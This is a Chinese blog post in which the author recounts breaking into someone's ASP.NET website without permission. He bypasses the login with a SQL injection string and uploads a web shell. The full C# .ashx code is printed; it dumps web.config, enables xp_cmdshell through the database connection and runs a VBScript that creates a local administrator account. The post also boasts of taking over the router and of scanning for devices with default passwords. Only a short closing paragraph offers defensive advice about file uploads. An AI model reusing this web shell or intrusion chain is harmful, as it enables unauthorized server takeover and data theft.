zoukankan      html  css  js  c++  java
  • 记一次ASP.NET网站的入侵和如何避免被入侵

    ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)

    详细介绍请看第二波

    首先我要申明的是不是什么语言写出来的程序就不安全,而是得看写代码的人如何去写这个程序

      前些日子我去客户那调研,发现客户的监控系统用的是海康威视的硬盘录像机,然后默认用户名是amdin 密码是12345,回来后就想玩一玩看看有多少人用的是默认密码,于是就写了个扫描程序,很快扫描到了一大批网站,也得到很多采用的是默认用户名和密码。

      玩了一两天后发现没什么好玩的,就随便在里面找找扫描记录,看到一些后台登陆地址,于是就都测试下,然后就发现了这个网站:

    最开始我是测试弱口令,

    admin  amdin  等,随便测试了几个,没成功,于是开始测试sql的防注入,用户名输入 1' or 1=1-- 密码随便输了个1 登陆,居然登陆成功了。。。。

    但发现登陆进来后报错了,,, 想了下可能是用户名的问题,于是就找页面看看能不能看到我的登陆用户名,最后找到写邮件里面看到了

    当然如果入侵只到这 你肯定会绝对弱爆了。。。其实当然也是,因为我拿下了他的数据和程序。。。当然最好拿下了他的服务器,得知他服务器是做的端口映射,于是又拿下了他的路由器,然后就没有再继续往下进行了,当然还可以继续下去,比如 路由器的dns劫持,页面重定向,端口镜像等等

    下面我开始介绍主要入侵页面,文件上传页面

    自己写了个ashx页面,上传

    代码很简单,就是读取网站的web.config文件然后以文本形式输出,

    我先简单说下入侵流程:

    1、读取web.config得到数据库连接

    2、利用SQL Server执行命令添加Windows用户(因为网站默认是iis用户,没有权限直线net等相关操作,但SQL Server是基于本地服务运行的,权限很高)

    我贴出我上传的ashx文件代码:

     1 <%@ WebHandler Language="C#" Class="TextLd" %>
     2 using System;
     3 using System.Collections.Generic;
     4 using System.Linq;
     5 using System.Web;
     6 using System.Data.SqlClient;
     7 
     8     public class TextLd : IHttpHandler
     9     {
    10         public void CreateLocalUser(string newPath)
    11         {
    12             System.Diagnostics.Process.Start(@"d:1.vbs");
    13             System.IO.File.WriteAllText(@"d:1.vbs", "set wsnetwork=CreateObject("WSCRIPT.NETWORK") 
     os="WinNT://"&wsnetwork.ComputerName 
     Set ob=GetObject(os) 
    Set oe=GetObject(os&"/Administrators,group") '属性,admin组
    od=ob.Create("user","test") '建立用户 
    SetPassword "1234" '设置密码 
    SetInfo
    of=GetObject(os&"/test",user)
     add os&"/test"");
    14         }
    15         public void ShowWebConfig(HttpContext context)
    16         {
    17             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
    18         }
    19         public void WriteVbs(HttpContext context)
    20         {
    21             System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject("WSCRIPT.NETWORK") 
     os="WinNT://"&wsnetwork.ComputerName 
     Set ob=GetObject(os) 
    Set oe=GetObject(os&"/Administrators,group") '属性,admin组
    od=ob.Create("user","test") '建立用户 
    SetPassword "1234" '设置密码 
    SetInfo
    of=GetObject(os&"/test",user)
     add os&"/test"");
    22         }
    23         public void ExecuteSql(string connection, string sql)
    24         {
    25             using (SqlConnection con = new SqlConnection(connection))
    26             {
    27                 using (SqlCommand commd = new SqlCommand(sql, con))
    28                 {
    29                     con.Open();
    30                     commd.ExecuteNonQuery();
    31                     con.Close();
    32                 }
    33             }
    34         }
    35         public void ProcessRequest(HttpContext context)
    36         {
    37             context.Response.ContentType = "text/plain";
    38             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
    39             try
    40             {
    41                 var connection = context.Request.QueryString["connection"];
    42                 switch (context.Request.QueryString["method"])
    43                 {
    44                     case "1": WriteVbs(context); break;
    45                     case "2":
    46                         ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure");
    47                         ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell
    48                         break;
    49                     case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
    50                         break;
    51                     default:
    52                         ShowWebConfig(context);
    53                         break;
    54                 }
    55             }
    56             catch (Exception ex)
    57             {
    58                 context.Response.Write(ex.Message);
    59             }
    60             context.Response.End();
    61         }
    62         public bool IsReusable
    63         {
    64             get
    65             {
    66                 return false;
    67             }
    68         }
    69     }
    View Code


    然后一次执行,就这样服务器就被我拿下了。。。  建立了一个用户名为test密码是1234的超级管理员用户,于是测试下远程连接

    然后弄干啥,大家都知道的。。。。

    当然,如果不拿下他服务器,你想想你都能直线你自己写的代码了。。。 什么坏事干不了。。。 当然本人只是测试了下可行性,就算不拿下服务器,执行sql语句把他数据库备份下载下来拿还不是分分钟的事情?

    好了 我来总结下這次入侵吧,最主要的娄底其实不是他的sql注入(个人觉得,当然他是导火索),而是文件上传,大部分程序员在写文件上传功能的时候,之前客户上传过来的文件保存到网站目录下的某个文件夹,不做任何处理,这也就是导致了他服务器被我拿下的最主要的入口。
    所以我还是奉劝大家一下,做文件上传还是对文件进行下处理比较好,具体怎么处理我想聪明的你肯定有很多方法。。。

     

    小学文化的我伤不起啊。。。。 哎 。。。  原谅我文采不好   你们将就着看吧-.-!
  • 相关阅读:
    Python 一条语句如何在多行显示的问题
    代理模式
    MySQL workbench中的PK,NN,UQ,BIN,UN,ZF,AI说明
    异步加载 Echarts图的数据
    Web页面中两个listbox的option的转移
    半透明效果
    在地图上使图片透明
    加载图片方式
    获取鼠标坐标
    画笔与画刷
  • 原文地址:https://www.cnblogs.com/dotnet-org-cn/p/4920418.html
Copyright © 2011-2022 走看看